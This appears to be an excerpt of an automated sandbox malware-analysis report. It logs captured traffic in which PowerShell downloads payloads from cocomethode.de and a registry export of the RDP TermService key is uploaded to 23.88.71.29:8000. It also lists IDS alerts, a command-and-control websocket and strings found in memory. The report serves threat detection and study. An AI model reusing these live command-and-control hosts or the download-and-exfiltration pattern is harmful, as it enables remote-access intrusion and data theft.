Source: global traffic	HTTP traffic detected: POST /api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2 HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: multipart/form-data; boundary=---------------------8dd19af75b992aeContent-Length: 5689Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 61 66 37 35 62 39 39 32 61 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 54 00 65 00 72 00 6d 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 5d 00 0d 00 0a 00 22 00 44 00 65 00 70 00 65 00 6e 00 64 00 4f 00 6e 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 22 00 3d 00 68 00 65 00 78 00 28 00 37 00 29 00 3a 00 35 00 32 00 2c 00 30 00 30 00 2c 00 35 00 30 00 2c 00 30 00 30 00 2c 00 34 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 0d 00 0a 00 22 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 37 00 22 00 0d 00 0a 00 22 00 44 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 38 00 22 00 0d 00 0a 00 22 00 45 00 72 00 72 00 6f 00 72 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 22 00 3d 00 64 00 77 00 6f 00 72 00 64 00 3a 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0d 00 0a 00 22 00 46 00 61 00 69 00 6c 00 75 00 72 00 65 00 41 00 63 00 74 00 69 00 6f 00 6e 00 73 00 22 00 3d 00 68 00 65 00 78 00 3a 00 38 00 30 00 2c 00 35 00 31 00 2c 00 30 00 31 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 33 00

Source: Joe Sandbox View

IP Address: 23.88.71.29 23.88.71.29

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49741 -> 104.21.1.51:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49743 -> 104.21.1.51:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49745 -> 104.21.1.51:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.30:49759 -> 104.21.1.51:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49766 -> 104.21.1.51:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.30:49771 -> 104.21.1.51:443

Source: global traffic	HTTP traffic detected: GET /fbJ5ex HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/192 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc078c119c5da54d097ff HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303
Source: global traffic	HTTP traffic detected: GET /file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 85
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 86
Source: global traffic	HTTP traffic detected: GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 62
Source: global traffic	HTTP traffic detected: GET /file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 140
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 69
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 200
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 97
Source: global traffic	HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 64

Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.88.71.29
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /fbJ5ex HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/192 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/63 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/TermServiceTryRun/43 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: 2SDZ3V4OhUmr9mCZCgUwdg==Sec-WebSocket-Version: 13

Source: global traffic

DNS traffic detected: DNS query: cocomethode.de

Source: unknown

HTTP traffic detected: POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: cocomethode.deContent-Length: 303

Source: powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: svchost.exe, 00000014.00000002.5355356491.000002B706713000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS%3C/ds:KeyName%3E
Source: powershell.exe, 00000008.00000002.3949447703.0000020080CA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD8188C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de
Source: svczHost.exe, 00000015.00000002.5354820158.0000020914CAD000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5354820158.0000020914CA7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cocomethode.de:443/
Source: powershell.exe, 00000003.00000002.3839730795.000002737535F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4178797807.0000016FF8598000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.4008138579.00000200F0D80000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4851669842.000001DDEEC47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5357662498.000002B707435000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5363900069.00000249A8D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: svczHost.exe, 00000015.00000002.5363900069.00000249A8D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.glo
Source: powershell.exe, 00000003.00000002.3839730795.000002737535F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4178797807.0000016FF8598000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.4008138579.00000200F0D80000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4849050475.000001DDEEC1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5357568309.000002B707423000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5353192374.0000020911CEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 0000000C.00000002.4857638281.000001DDEF026000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000008.00000002.4010996899.00000200F1164000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsof
Source: powershell.exe, 00000008.00000002.4010996899.00000200F1164000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsof/crl/products/MicTimStaPCA_2010-07-01.crl0Z
Source: powershell.exe, 00000008.00000002.4010996899.00000200F1273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.coB
Source: powershell.exe, 00000004.00000002.4184495621.0000016FF88BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.t.com/pki/crl/pricRooCerAut_2010rl0Z
Source: svchost.exe, 00000014.00000002.5357568309.000002B707423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000014.00000002.5356243546.000002B706F37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5358419957.000002B707492000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031293033.000002B706F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356992312.000002B706F7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000014.00000002.5356243546.000002B706F37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031293033.000002B706F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356992312.000002B706F7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000014.00000002.5356243546.000002B706F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000003.00000002.3833875845.00000273101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3833875845.0000027310081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3816213089.00000273014EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4168001011.0000016FF06C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4168001011.0000016FF0535000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020081654000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3996239881.0000020090076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: svchost.exe, 00000014.00000002.5353746659.000002B70667E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.000002008147E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.3816213089.000002730022C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE06EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngXz
Source: powershell.exe, 00000003.00000002.3816213089.0000027301087000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3816213089.000002730139E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200814FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngh
Source: powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD804C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svchost.exe, 00000014.00000002.5356331415.000002B706F51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000014.00000002.5356412336.000002B706F6D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356331415.000002B706F51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000014.00000002.5355970654.000002B706F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policye
Source: svchost.exe, 00000014.00000002.5355970654.000002B706F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policyom
Source: svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 00000014.00000002.5355970654.000002B706F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scrvice
Source: svchost.exe, 00000014.00000002.5355970654.000002B706F13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000014.00000002.5353879244.000002B706692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4011072862.000002B706F2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 00000014.00000002.5356412336.000002B706F6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 00000014.00000002.5356412336.000002B706F6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 00000014.00000002.5356412336.000002B706F6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustnce
Source: svczHost.exe, svczHost.exe, 00000015.00000002.5365382282.00007FF6B2200000.00000004.00000001.01000000.00000009.sdmp, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
